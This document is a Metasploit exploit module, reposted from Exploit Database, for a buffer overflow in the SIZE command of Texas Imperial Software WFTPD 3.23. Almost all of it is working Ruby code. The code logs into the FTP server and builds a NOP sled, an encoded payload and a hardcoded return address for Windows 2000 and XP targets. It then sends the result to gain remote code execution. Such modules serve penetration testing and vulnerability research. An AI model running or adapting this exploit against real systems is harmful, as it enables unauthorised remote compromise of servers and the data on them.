Texas Imperial Software WFTPD 3.23 – SIZE Overflow (Metasploit)

• Exploit Database
• 11 阅读

• 作者： Metasploit
  日期： 2010-06-22
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16741/

• ##
  # $Id: wftpd_size.rb 9583 2010-06-22 19:11:05Z todb $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::Ftp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Texas Imperial Software WFTPD 3.23 SIZE Overflow',
  			'Description'=> %q{
  					This module exploits a buffer overflow in the SIZE verb in
  				Texas Imperial's Software WFTPD 3.23.
  			},
  			'Author' => 'MC',
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9583 $',
  			'References' =>
  				[
  					[ 'CVE', '2006-4318' ],
  					[ 'OSVDB', '28134' ],
  					[ 'BID', '19617' ],
  				],
  			'Privileged' => true,
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  				},
  			'Payload'=>
  				{
  					'Space'=> 500,
  					'BadChars' => "\x00\x20\x0a\x0d",
  					'StackAdjustment' => -3500,
  				},
  			'Platform' 		=> 'win',
  			'Targets'=>
  				[
  					[ 'Windows 2000 Pro SP4 English',			{ 'Ret' => 0x7c2d3028 } ],
  					[ 'Windows XP Pro SP1 English',				{ 'Ret' => 0x77dd1595 } ],
  					[ 'Windows XP Pro SP2 English', { 'Ret' => 0x77d498ec } ],
  				],
  			'DisclosureDate' => 'Aug 23 2006',
  			'DefaultTarget' => 0))
  	end
  
  	def exploit
  		connect_login
  
  		sploit ="/" + make_nops(525 - payload.encoded.length)
  		sploit << payload.encoded + [target.ret].pack('V')
  
  		print_status("Trying target #{target.name}...")
  
  		send_cmd(['SIZE', sploit], false)
  		select(nil,nil,nil,2)
  
  		handler
  		disconnect
  	end
  
  end